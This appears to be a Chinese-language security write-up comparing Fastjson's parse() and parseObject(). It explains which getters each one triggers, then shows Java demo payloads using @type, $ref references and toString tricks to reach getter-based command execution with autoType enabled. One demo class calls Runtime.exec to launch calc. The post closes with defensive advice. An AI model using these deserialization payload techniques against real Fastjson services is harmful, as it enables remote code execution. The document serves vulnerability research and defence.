fastjson之parse和parseobject利用差异
字数 1421 2025-08-22 12:23:00
Fastjson parse()与parseObject()方法利用差异分析
1. 基本概念与区别
FastJson中的parse()和parseObject()方法都可以用来将JSON字符串反序列化成Java对象,但两者存在关键差异:
- parse():直接反序列化为Java对象,仅调用目标类的setter方法及特定条件的getter方法
- parseObject():本质上调用
parse()进行反序列化,但会额外将Java对象转为JSONObject对象(即执行JSON.toJSON()),因此会调用目标类的所有setter和getter方法
特定条件getter方法
parse()方法仅会调用满足以下条件的getter方法:
- 返回值类型继承自:
Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong
2. 代码示例分析
测试类定义
package demo2;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class FastJsonTest {
public String name;
public String age;
public FastJsonTest() {}
public void setName(String test) {
System.out.println("name setter called");
this.name = test;
}
public String getName() {
System.out.println("name getter called");
return this.name;
}
public String getAge(){
System.out.println("age getter called");
return this.age;
}
public static void main(String[] args) {
// parse()示例
// Object obj = JSON.parse("{\"@type\":\"demo2.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
// System.out.println(obj);
// parseObject()示例
Object obj2 = JSON.parseObject("{\"@type\":\"demo2.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj2);
}
}
执行结果差异
- parse():仅调用
setName()方法 - parseObject():调用
setName()、getAge()、getName()方法
3. 底层原理分析
parse()方法原理
- 核心在
createJavaBeanDeserializer方法 - 使用
JavaBeanDeserializer反序列化bean - 在
javaBeanInfo.build()过程中:- 获取get方法时,仅处理返回值类型为特定集合或原子类的getter
- setter方法无特殊限制,只要是setter方法就会被调用
parseObject()方法原理
- 调用栈显示额外执行了
JSON.toJSON()操作:getName:20, FastJsonTest (demo2) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:33, FastJsonTest (demo2)
4. 安全利用技巧
$ref引用利用(突破parse限制)
条件:
- JDK版本限制
- fastjson >= 1.2.36
- 开启Autotype
示例代码:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"demo2.User\",\"cmd\":\"calc\"},{\"@type\":\"demo2.User\",\"cmd\":\"notepad.exe\",\"test\":\"test\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
}
package demo2;
import java.io.IOException;
public class User {
private String cmd;
private String test;
public String getTest() {
System.out.println("getTest");
return test;
}
public void setTest(String test) {
System.out.println("setTest");
this.test = test;
}
public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
System.out.println("getcmd");
return cmd;
}
public void setCmd(String cmd) {
System.out.println("setcmd");
this.cmd = cmd;
}
}
$ref语法:
"$ref":"$":引用根对象"$ref":"$[0]":引用根数组的第一个元素"$ref":"$.propertyName":引用根对象的某个属性
低版本限制原因
- 需要refValue不为null
- refValue必须是JSONObject类
数组toString触发
当反序列化数组对象时,打印操作会触发toString(),进而调用getter方法:
package demo2;
import com.alibaba.fastjson.JSON;
public class Test {
private String id;
public String getId() {
System.out.println("getID");
return id;
}
public void setId(String id) {
System.out.println("setID");
this.id = id;
}
public static void main(String[] args) {
String payload = "[{\"@type\":\"demo2.Test\",\"id\":\"123\"}]";
Object o = JSON.parse(payload);
System.out.println(o);
}
}
JSONObject.toString利用
利用JSONObject的toString方法触发getter调用:
package demo2;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test {
private String id;
public String getId() {
System.out.println("getID");
return id;
}
public void setId(String id) {
System.out.println("setID");
this.id = id;
}
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"aaa\":{\"@type\":\"demo2.Test\",\"id\":\"123\"}}";
Object o = JSON.parse(payload);
System.out.println(o);
}
}
关键点:
- Fastjson解析时遇到
{会加一层JSONObject - 构造key为JSONObject的形式:
{{some}:x}
版本限制原因
在fastjson >=1.2.36版本中,DefaultJSONParser#parse入口点不再调用toString函数,导致此利用方式失效。
5. 总结
-
方法选择:
- 需要完整调用所有getter/setter时使用
parseObject() - 仅需基本反序列化时使用
parse()
- 需要完整调用所有getter/setter时使用
-
安全利用:
- 利用
$ref引用突破parse限制 - 通过数组toString或JSONObject.toString间接触发getter
- 注意版本差异对利用方式的影响
- 利用
-
防御建议:
- 及时升级fastjson版本
- 关闭Autotype功能
- 对反序列化内容进行严格过滤